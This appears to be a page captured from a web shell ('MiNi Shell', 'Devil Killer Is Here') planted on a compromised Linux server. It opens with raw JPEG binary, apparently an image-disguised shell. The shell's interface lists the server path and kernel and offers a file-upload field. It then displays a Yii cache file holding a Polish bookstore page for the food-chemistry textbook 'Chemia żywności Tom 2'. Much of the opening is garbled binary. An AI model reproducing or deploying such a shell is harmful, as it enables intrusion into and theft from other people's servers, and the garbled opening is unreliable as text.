JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/runtime/cache/63/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/frontend/runtime/cache/63/63d921a6a1a162ebc827df859ff0997e.bin

a:2:{i:0;a:2:{i:0;s:32726:" 
        
                
        <div class="col-md-9 pt08 tab-cell" itemscope itemtype="http://schema.org/Book">  
            
            <h2 class="header -portal-color portal-light-background mb1">
                <span class="portal-border">Księgarnia – szczegóły publikacji</span>
            </h2>
        
            <div class="col-md-5 text-center">
                <img loading="lazy" id="book" src="https://common.v-manager.pl/uploads/images/books/250/frame/300x350/1-074025001577433835.jpg" class="inline img-responsive" alt="Podgląd">
                
                                
            </div>
            <div class="col-md-7">
                <div class="sticker"><div class="flex"><div class="text-center">dostępny</div></div></div>
                <h3 class="title" itemprop="name">Chemia żywności Tom 2</h3>
                <div class="clearfix"></div>
                <a href="https://ksiegarnia.pwn.pl/Chemia-zywnosci-Tom-2,730398042,p.html" class="btn portal-button-red mb1">Zamów publikację</a>
                <p class="subtitle relative">
                    
                    <span class="op07">Autor:</span> <span itemprop="author">Zdzisław Sikorski, Hanna Staroszczyk</span><br>
                    <span class="op07">Wydawnictwo:</span> Wydawnictwo Naukowe PWN<br>
                    <span class="op07">Stron:</span> 343 <br>                    <span class="op07">Data wydania:</span> 2017-10-12 <br>      
                    <span class="op07">Typ:</span> książka <br> 
                    <span class="op07">Druk:</span> tak <br>
                    <span class="op07">Wersja elektroniczna:</span> nie <br>
                                            <span class="op07">ISBN:</span>
                                        978-8-30-119626-4                    <hr>
                    <!--
                    <span class="pill-left">Ocena: 0,0 <span class="rated" data-rated="0"></span></span>
                    <span class="pull-right">Opinie: 0 <span class="glyphicon glyphicon-user gray" aria-hidden="true"></span></span>
                    <div class="clearfix"></div>
                    <hr>
                    -->
                    
                                        <span class="op07">Wersja papierowa:</span> 
                    <span itemprop="offers" itemscope itemtype="http://schema.org/Offer">
                                                <span itemprop="price">104,00</span> 
                        <small itemprop="priceCurrency">PLN</small> 
                        <br>
                                            </span>
                                                                                <hr>
               
                    <div id="fb-root"></div>
                    <script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script>
                    
                    <div class="social text-center"> 
                        <div class="fb-like pull-left" data-href="https://www.jedzenie.info.pl/ksiegarnia/pozycja/250_chemia-zywnosci-tom-2" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                        <a href="https://twitter.com/share" class="pull-right twitter-share-button" data-size="small">Tweet</a> <script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script>
                    </div>

            </div>
            <div class="clearfix"></div>
                    
            <ul class="nav nav-tabs nav-table mt1" id="book-tab">
                <li role="presentation" class="active"><a href="#tab1" class="strong" data-toggle="tab">Opis książki</a></li>
                <li role="presentation"><a href="#tab2" class="strong" data-toggle="tab">Spis treści</a></li>
                <!--<li role="presentation"><a href="#tab3" class="strong" data-toggle="tab">Czytaj fragment</a></li>-->
                <li role="presentation"><a href="#tab4" class="strong" data-toggle="tab">Załączniki</a></li>
                <!--<li role="presentation"><a href="#tab5" class="strong" data-toggle="tab">Opinie</a></li>-->
                <li role="presentation"><a href="#tab6" class="strong" data-toggle="tab">Prenumarata</a></li>
            </ul>

            <div class="tab-content">
                <div role="tabpanel" class="tab-pane active" id="tab1">

                    <div class="col-xs-12">
                        <div class="block-table">
                                                            <div class="block-row">
                                    <strong class="strong">Data wydania:</strong>
                                    <p class="subtitle">12-10-2017</p>                                    
                                </div>
                                                                                                                    <div class="block-row">
                                    <strong class="strong">Wymiary:</strong>
                                    <p class="subtitle">16.5 x 23.5cm</p>                                    
                                </div>
                                                                                                                                                <div class="block-row">
                                    <strong class="strong">Druk w kolorze:</strong>
                                    <p class="subtitle">nie</p>                                    
                                </div>
                                                                                                                    <div class="block-row">
                                    <strong class="strong">Papier kredowy:</strong>
                                    <p class="subtitle">nie</p>                                    
                                </div>
                                <div class="block-row">
                                    <strong class="strong">Twarda oprawa:</strong>
                                    <p class="subtitle">nie</p>                                    
                                </div>
                                                    </div>
                        <div class="lorem">
                            <p> </p>
<p>Chemia żywności jest nauką o składzie surowców i produktów żywnościowych, dodatków i zanieczyszczeń żywności, a także o biochemicznych i chemicznych reakcjach zachodzących w surowcach oraz produktach żywnościowych w czasie przechowywania i przetwarzania.</p>
<p>Zajmuje się również wpływem składników, dodatków i zanieczyszczeń na bezpieczeństwo zdrowotne i pozostałe aspekty jakości żywności.</p>
<p>W tomie 2 opisano:</p>
<ul>
<li>witaminy;</li>
<li>rodniki, utleniacze i przeciwutleniacze;</li>
<li>nieodżywcze substancje prozdrowotne pochodzenia roślinnego;</li>
<li>alergeny oraz mutagenne i rakotwórcze składniki żywności;</li>
<li>toksyny surowców żywnościowych;</li>
<li>dodatki do żywności i suplementy diety;</li>
<li>analizę oraz zasady zapewniania bezpieczeństwa zdrowotnego żywności.</li>
</ul>
<p>Książka została opracowana przez specjalistów, mających doświadczenie w pracy dydaktycznej i współpracy z przemysłem. Jest przeznaczona dla studentów wydziałów nauk o żywności na uniwersytetach przyrodniczych i politechnikach, a także wydziałów farmaceutycznych i ekonomicznych oraz dla pracowników gospodarki żywnościowej.</p>                        </div>
                    </div>

                                        <div class="col-xs-12">
                        <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <span class="label label-default">Chemia żywności</span>
                                                                    <span class="label label-default">PWN</span>
                                                                    <span class="label label-default">książka</span>
                                                            </div>
                        </div>         
                    </div>
                                    </div>
                <div role="tabpanel" class="tab-pane" id="tab2">
                    <div class="col-xs-12">
                        <div class="lorem">
                            <h3>Spis treści:</h3>
<p><strong>1. Witaminy – Teresa Seidler        </strong></p>
<p>1.1. Wprowadzenie                   </p>
<p>1.2. Witaminy rozpuszczalne w wodzie              </p>
<p>1.2.1. Witamina C                                     </p>
<p>1.2.2. Tiamina (witamina B1)                            </p>
<p>1.2.3. Ryboflawina (witamina B2)                             </p>
<p>1.2.4. Niacyna (witamina B3)                                  </p>
<p>1.2.5. Kwas pantotenowy                   </p>
<p>1.2.6. Biotyna                                     </p>
<p>1.2.7. Kwas foliowy                                      </p>
<p>1.2.8. Witamina B12 (kobalamina)                      </p>
<p>1.2.9. Witamina B6                                 </p>
<p>1.3. Witaminy rozpuszczalne w tłuszczach                       </p>
<p>1.3.1. Witamina A                                     </p>
<p>1.3.2. Witamina D                                         </p>
<p>1.3.3. Witamina E                                          </p>
<p>1.3.4. Witamina K                               </p>
<p>Bibliografia                                     </p>
<p><strong>2. Rodniki, utleniacze i przeciwutleniacze – Izabela Sinkiewicz </strong></p>
<p>2.1. Wprowadzenie                                        </p>
<p>2.2. Powstawanie i stabilność rodników w żywności         </p>
<p>2.2.1. Wprowadzenie                                  </p>
<p>2.2.2. Anionorodnik ponadtlenkowy (O2•−)              </p>
<p>2.2.3. Nadtlenek wodoru (H2O2)                       </p>
<p>2.2.4. Rodnik hydroksylowy (•OH)                     </p>
<p>2.2.5. Tlen singletowy (1O2)                             </p>
<p>2.2.6. Ozon (O3)                              </p>
<p>2.2.7. Rodnik tlenku azotu(II) (NO•) i jego pochodne               </p>
<p>2.2.8. Kwas chlorowy(I) (HClO)                              </p>
<p>2.2.9. Rodniki tworzące się podczas utleniania białek i lipidów    </p>
<p>2.3. Utlenianie podstawowych składników żywności                </p>
<p>2.3.1. Utlenianie lipidów                                  </p>
<p>2.3.2. Utlenianie białek                                      </p>
<p>2.3.3. Utlenianie sacharydów                             </p>
<p>2.4. Przeciwutleniacze występujące w żywności i ich działanie         </p>
<p>2.5. Wpływ na jakość i trwałość żywności                        </p>
<p>Bibliografia                                                   </p>
<p><strong>3. Nieodżywcze substancje prozdrowotne pochodzenia roślinnego – Barbara Kusznierewicz</strong></p>
<p>3.1. Wprowadzenie                               </p>
<p>3.2. Związki fenolowe                                     </p>
<p>3.2.1. Klasyfikacja i występowanie                            </p>
<p>3.2.2. Flawonoidy                                          </p>
<p>3.2.3. Pozostałe związki fenolowe                                 </p>
<p>3.2.4. Wpływ procesów technologicznych na związki fenolowe              </p>
<p>3.2.5. Aktywność biologiczna związków fenolowych                   </p>
<p>3.3. Terpenoidy                                          </p>
<p>3.3.1. Klasyfikacja i występowanie                                </p>
<p>3.3.2. Wpływ obróbki procesowej na zawartość terpenoidów       </p>
<p>3.3.3. Biologiczna aktywność terpenoidów                          </p>
<p>3.4. Wtórne metabolity roślin zawierające siarkę                      </p>
<p>3.4.1. Wprowadzenie                                       </p>
<p>3.4.2. System „glukozynolan–mirozynaza” w warzywach kapustowatych (Brassicaceae)                              </p>
<p>3.4.3. Wpływ obróbki kulinarnej na zawartość siarkowych wtórnych metabolitów roślin kapustowatych</p>
<p>3.4.4. Biologiczne znaczenie siarkowych wtórnych metabolitów roślin kapustowatych                                   </p>
<p>3.4.5. System „alliina–alliinaza” w warzywach czosnkowatych (Alliaceae)       </p>
<p>3.4.6. Wpływ obróbki kulinarnej na zawartość siarkowych wtórnych metabolitów roślin czosnkowatych</p>
<p>3.4.7. Biologiczna aktywność siarkowych wtórnych metabolitów roślin czosnkowatych                              </p>
<p>3.5. Wtórne metabolity roślin zawierające azot – betalainy               </p>
<p>3.5.1. Klasyfikacja i występowanie betalain                      </p>
<p>3.5.2. Wpływ obróbki kulinarnej na zawartość betalain               </p>
<p>3.5.3. Biologiczna aktywność betalain                             </p>
<p>3.6. Fosforany inozytolu – fityniany                       </p>
<p>3.6.1. Budowa i występowanie fitynianów                        </p>
<p>3.6.2. Wpływ procesów technologicznych na fityniany               </p>
<p>3.6.3. Biologiczna aktywność fitynianów                           </p>
<p>3.7. Błonnik                                           </p>
<p>3.7.1. Klasyfikacja, budowa i źródła błonnika                   </p>
<p>3.7.2. Wpływ procesów technologicznych na błonnik pokarmowy          </p>
<p>3.7.3. Właściwości prozdrowotne błonnika                         </p>
<p>3.8. Podsumowanie                                     </p>
<p>Bibliografia                                                </p>
<p><strong>4. Alergeny w żywności – Barbara Wróblewska        </strong></p>
<p>4.1. Przyczyny powstawania alergii                    </p>
<p>4.1.1. Alergia – globalny problem zdrowia publicznego               </p>
<p>4.1.2. Czynniki genetyczne                                </p>
<p>4.1.3. Czynniki środowiskowe                       </p>
<p>4.2. Mechanizmy alergicznej reakcji pokarmowej                </p>
<p>4.3. Nomenklatura alergenów                               </p>
<p>4.4. Alergeny pokarmowe                                  </p>
<p>4.4.1. Wprowadzenie                             </p>
<p>4.4.2. Rodziny białek alergenów pochodzenia zwierzęcego         </p>
<p>4.4.3. Główne alergeny pochodzenia zwierzęcego               </p>
<p>4.4.4. Rodziny białek alergenów pochodzenia roślinnego                </p>
<p>4.4.5. Główne alergeny pochodzenia roślinnego                       </p>
<p>4.5. Wpływ substancji dodawanych do żywności na organizm        </p>
<p>4.6. Reakcje krzyżowe alergenów                               </p>
<p>4.7. Alergeny ukryte                                          </p>
<p>4.8. Wpływ procesów technologicznych na alergenność produktów przetworzonych                              </p>
<p>4.8.1. Procesy technologiczne a immunoreaktywność               </p>
<p>4.8.2. Procesy termiczne                                        </p>
<p>4.8.3. Glikacja                                              </p>
<p>4.8.4. Fermentacja mlekowa                                     </p>
<p>4.8.5. Modyfikacje enzymatyczne                               </p>
<p>4.8.6. Sieciowanie z udziałem transglutaminazy                      </p>
<p>4.8.7. Zastosowanie promieniowania gamma                     </p>
<p>4.8.8. Presuryzacja                                        </p>
<p>4.9. Metody oznaczania alergenów                               </p>
<p>4.10. Słowniczek podstawowych pojęć z zakresu immunologii i alergologii                         </p>
<p>Bibliografia                                              </p>
<p><strong>5. Mutagenne i rakotwórcze składniki żywności – Anna Lewandowska, Agnieszka Bartoszek </strong></p>
<p>5.1. Wprowadzenie                                   </p>
<p>5.2. Udział substancji mutagennych i rakotwórczych w procesie kancerogenezy                                  </p>
<p>5.3. Aktywacja metaboliczna i tworzenie adduktów z DNA         </p>
<p>5.4. Ocena mutagenności i rakotwórczości substancji             </p>
<p>5.5. Związki mutagenne w żywności                            </p>
<p>5.5.1. Wprowadzenie                                          </p>
<p>5.5.2. Mikotoksyny                                      </p>
<p>5.5.3. Nitrozoaminy                                          </p>
<p>5.5.4. Mutageny w żywności poddanej obróbce termicznej        </p>
<p>5.5.5. Inne czynniki ryzyka                                     </p>
<p>5.6. Sposób przetwarzania żywności jako ważne źródło zagrożeń zdrowotnych                                     </p>
<p>5.6.1. Wprowadzenie                           </p>
<p>5.6.2. Wpływ rodzaju obróbki termicznej żywności na powstawanie substancji rakotwórczych                              </p>
<p>5.6.3. Obecność substancji prekursorowych a powstawanie substancji mutagennych i kancerogennych</p>
<p>5.6.4. Wpływ marynat, przypraw i warzyw na powstawanie substancji mutagennych i kancerogennych w produktach mięsnych       </p>
<p>5.7. Podsumowanie                               </p>
<p>Bibliografia                                                 </p>
<p><strong>6. Toksyny surowców żywnościowych – Danuta Kołożyn-Krajewska     </strong></p>
<p>6.1. Źródła toksyn w surowcach żywnościowych                 </p>
<p>6.2. Toksyny pochodzenia roślinnego                     </p>
<p>6.2.1. Wprowadzenie                             </p>
<p>6.2.2. Fitotoksyny                                    </p>
<p>6.2.3. Fikotoksyny                                     </p>
<p>6.3. Toksyny ryb i bezkręgowców morskich                     </p>
<p>6.3.1. Toksyny ryb                                  </p>
<p>6.3.2. Toksyny bezkręgowców morskich                           </p>
<p>6.4. Toksyny grzybów kapeluszowych                             </p>
<p>6.4.1. Wprowadzenie                               </p>
<p>6.4.2. Toksyny o działaniu cytotoksycznym                          </p>
<p>6.4.3. Toksyny o działaniu neurotoksycznym                       </p>
<p> 6.4.4. Toksyny o działaniu drażniącym przewód pokarmowy        </p>
<p>6.5. Mikotoksyny                                            </p>
<p>6.5.1. Rodzaje mikotoksyn                                     </p>
<p>6.5.2. Występowanie mikotoksyn w surowcach i produktach żywnościowych    </p>
<p>6.5.3. Zagrożenia zdrowotne związane z mikotoksynami                  </p>
<p>6.6. Toksyny bakteryjne                                     </p>
<p>6.6.1. Egzotoksyny i endotoksyny                             </p>
<p>6.6.2. Toksyny gronkowcowe                              </p>
<p>6.6.3. Toksyny botulinowe                                 </p>
<p>6.7. Działania prewencyjne i usuwanie toksyn z surowców żywnościowych  </p>
<p>Bibliografia                                           </p>
<p><strong>7. Dodatki do żywności – Kazimierz Dąbrowski, Antoni Rutkowski    </strong></p>
<p>7.1. Wprowadzenie                                     </p>
<p>7.1.1. Cel stosowania dodatków                                  </p>
<p>7.1.2. Regulacje prawne związane z dodatkami do żywności               </p>
<p>7.1.3. Bezpieczeństwo stosowania dodatków do żywności               </p>
<p>7.2. Substancje słodzące                            </p>
<p>7.2.1. Wprowadzenie                                       </p>
<p>7.2.2. Słodziki                                       </p>
<p>7.2.3. Poliole                                                </p>
<p>7.3. Barwniki                                  </p>
<p>7.3.1. Wprowadzenie                                          </p>
<p>7.3.2. Barwniki naturalne              </p>
<p>7.3.3. Barwniki syntetyczne                          </p>
<p>7.3.4. Barwniki nieorganiczne                                    </p>
<p>7.4. Substancje konserwujące i przeciwutleniacze   </p>
<p>7.4.1. Wprowadzenie                                  </p>
<p>7.4.2. Substancje konserwujące                             </p>
<p>7.4.3. Przeciwutleniacze                                      </p>
<p>7.5. Emulgatory i sole emulgujące (topniki)                  </p>
<p>7.6. Kwasy i regulatory kwasowości oraz sekwestranty           </p>
<p>7.7. Stabilizatory                                   </p>
<p>7.8. Substancje: żelujące, wiążące, zagęszczające                      </p>
<p>7.9. Skrobie modyfikowane                               </p>
<p>7.10. Wzmacniacze smaku                                      </p>
<p>7.11. Nośniki                                         </p>
<p>7.12. Substancje spulchniające i środki do przetwarzania mąki (polepszacze)                                  </p>
<p>7.13. Substancje: utrzymujące wilgoć, wypełniające, przeciwzbrylające oraz glazurujące                           </p>
<p>7.14. Substancje pianotwórcze i przeciwpieniące                       </p>
<p>7.15. Gazy nośne i gazy do pakowania                         </p>
<p>7.16. Enzymy spożywcze                               </p>
<p>Bibliografia                                                   </p>
<p><strong>8. Suplementy diety – Iwona Wawer        </strong></p>
<p>8.1. Wprowadzenie               </p>
<p>8.2. Witaminy                                 </p>
<p>8.2.1. Wprowadzenie                                          </p>
<p>8.2.2. Witamina B1 – tiamina                              </p>
<p>8.2.3. Witamina B2 – ryboflawina                    </p>
<p>8.2.4. Witamina B3 (lub РР) – niacyna                  </p>
<p>8.2.5. Witamina B5 – kwas pantotenowy                  </p>
<p>8.2.6. Witamina B6 – pirydoksyna               </p>
<p>8.2.7. Witamina B7 – (witamina H) biotyna                    </p>
<p>8.2.8. Witamina B9 – kwas foliowy, folacyna, foliany            </p>
<p>8.2.9. Witamina B12                               </p>
<p>8.2.10. Witamina C                            </p>
<p>8.2.11. Witamina E i tokoferole                          </p>
<p>8.2.12. Witamina D                                      </p>
<p>8.2.13. Witamina K                             </p>
<p>8.2.14. Witamina A i karotenoidy                                   </p>
<p>8.3. Niezbędne nienasycone kwasy tłuszczowe          </p>
<p>8.4. Koenzym Q10                                 </p>
<p>8.5. Składniki mineralne w suplementach                  </p>
<p>8.5.1. Wapń                         </p>
<p>8.5.2. Magnez                                       </p>
<p>8.5.3. Potas                                </p>
<p>8.5.4. Cynk                           </p>
<p>8.5.5. Żelazo                                   </p>
<p>8.5.6. Jod                                      </p>
<p>8.5.7. Selen                             </p>
<p>8.5.8. Chrom                       </p>
<p>8.5.9. Krzem                                  </p>
<p>8.6. Suplementy ze składnikami roślinnymi         </p>
<p>8.6.1. Flawonoidy                                  </p>
<p>8.6.2. Ekstrakty z winogron                                  </p>
<p>8.6.3. Resweratrol                         </p>
<p>8.6.4. Ekstrakt z żurawiny                                 </p>
<p>8.6.5. Ekstrakt z zielonej herbaty                        </p>
<p>8.6.6. Ekstrakty z miłorzębu                        </p>
<p>8.6.7. Żeń-szeń                              </p>
<p>8.6.8. Maca                          </p>
<p>8.6.9. Kurkumina                         </p>
<p>8.6.10. Błonnik pokarmowy                       </p>
<p>8.7. Inne składniki: białka, mikroalgi, bakterie          </p>
<p>8.7.1. Białka serwatki                               </p>
<p>8.7.2. Kolagen                                         </p>
<p>8.7.3. Glukozamina i chondroityna                       </p>
<p>8.7.4. Chlorella i spirulina                                   </p>
<p>8.7.5. Probiotyki i prebiotyki             </p>
<p>8.8. Podsumowanie                              </p>
<p>Bibliografia                                       </p>
<p><strong>9. Analiza żywności – Beata Plutowska, Henryk Jeleń  </strong></p>
<p>9.1. Analityka w zapewnieniu bezpieczeństwa i jakości żywności        </p>
<p>9.1.1. Główne cele analizy żywności             </p>
<p>9.1.2. Znakowanie żywności                         </p>
<p>9.1.3. Urzędowa kontrola żywności                   </p>
<p>9.1.4. Kontrola procesu produkcji żywności             </p>
<p>9.1.5. Opracowanie nowych produktów               </p>
<p>9.1.6. Zafałszowania żywności                          </p>
<p>9.2. Pobieranie i przygotowanie próbek do analizy                  </p>
<p>9.2.1. Pobieranie próbek żywności                </p>
<p>9.2.2. Metody przygotowania próbek                 </p>
<p>9.3. Instrumentalna analiza żywności                  </p>
<p>9.3.1. Techniki separacyjne                             </p>
<p>9.3.2. Techniki łączone (sprzężone)                          </p>
<p>9.3.3. Techniki oparte na analizie widma elektromagnetycznego      </p>
<p>9.3.4. Techniki analityczne wykorzystywane w analizie pochodzenia i autentyczności żywności                  </p>
<p>9.4. Podsumowanie                              </p>
<p>Bibliografia                                              </p>
<p><strong>10. Zasady zapewniania bezpieczeństwa żywności – Robert Tylingo                          </strong></p>
<p>10.1. Bezpieczeństwo żywności                  </p>
<p>10.2. Zasady zapewnienia bezpieczeństwa – systemy, zagrożenia, minimalizacja zagrożeń            </p>
<p>10.2.1. Wprowadzenie                               </p>
<p>10.2.2. Systemy dobrych praktyk produkcyjnych i higienicznych (GMP i GHP)  </p>
<p>10.2.3. HACCP (Hazard Analysis and Critical Control Points)         </p>
<p>Bibliografia                                 </p>
<p><strong>Skorowidz                                              </strong></p>                        </div>
                    </div>                    
                </div>
<!--                <div role="tabpanel" class="tab-pane" id="tab3">
                    <div class="col-xs-12">
                        <div class="lorem">
                            <p>
                                Lorem ipsum dolor sit amet, consectetur adipiscing elit. Mauris vel finibus elit. Praesent ullamcorper id erat eu facilisis. Sed sagittis, justo vitae pellentesque egestas, magna nibh luctus ipsum, ac vulputate ipsum enim sit amet dolor. Proin non tempus orci. Morbi varius felis ac sapien bibendum, vel placerat mauris posuere. Ut et rutrum purus. Donec interdum ligula in massa facilisis, non mollis mi maximus. Suspendisse aliquam non nunc eu viverra. Phasellus quis lectus porttitor, dapibus mi mattis, vestibulum mauris.
                            </p>
                        </div>
                    </div>                    
                </div>  -->
                <div role="tabpanel" class="tab-pane" id="tab4">
                                             <div class="col-xs-12 pt05">Brak załączników</div>
                                       
                </div>  
<!--                <div role="tabpanel" class="tab-pane" id="tab5">
                                            <div class="col-xs-12 pt05">Nikt nie napisał jeszcze opinii</div>
                                    </div>                  -->
                                    
                <div role="tabpanel" class="tab-pane" id="tab6">
                                                <div class="col-xs-12 pt05">Brak prenumeraty</div>
                                        
                </div>                                    
                                    
            </div>
            <div class="clearfix"></div>
            
        </div>
        <div class="col-md-3 pt08 tab-right text-center">
            
            <!--div class="panel-group" id="accordion-book">
                                    <div class="panel panel-default">
                        <div class="panel-heading">
                            <h4 class="panel-title text-left">
                                <a data-toggle="collapse" data-parent="#accordion-book" href="#col1" aria-expanded="true">
                                    <span class="pull-right strong">104,00 <small>PLN</small></span>                                    Wersja papierowa                                </a>
                            </h4>
                        </div>
                        <div id="col1" class="panel-collapse collapse in">
                            <div class="panel-body text-center">
                                <a href="#" class="btn btn-default portal-button"><span class="glyphicon glyphicon-shopping-cart" aria-hidden="true"></span> Dodaj do koszyka</a>
                            </div>
                        </div>
                    </div>
                                                            </div-->
            ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:5:{i:0;s:5:"books";i:1;s:8:"book_250";i:2;s:14:"company_193512";i:3;s:20:"company_193512_books";i:4;s:20:"publishing_house_158";}s:4:"data";a:5:{s:32:"7122ec68a1e12d5cd821572454681d7b";s:21:"0.36469400 1745853250";s:32:"4c445c020c99b4af32c062959916daae";s:21:"0.58895000 1740411595";s:32:"165deb305092e7941284e3dd4b157b78";s:21:"0.36469400 1745853250";s:32:"f2cb1dcfdfd840feedccf035eff0b3e3";s:21:"0.59135900 1745854455";s:32:"c464b8468a134685f89933adfd8585a9";s:21:"0.59135900 1745854455";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com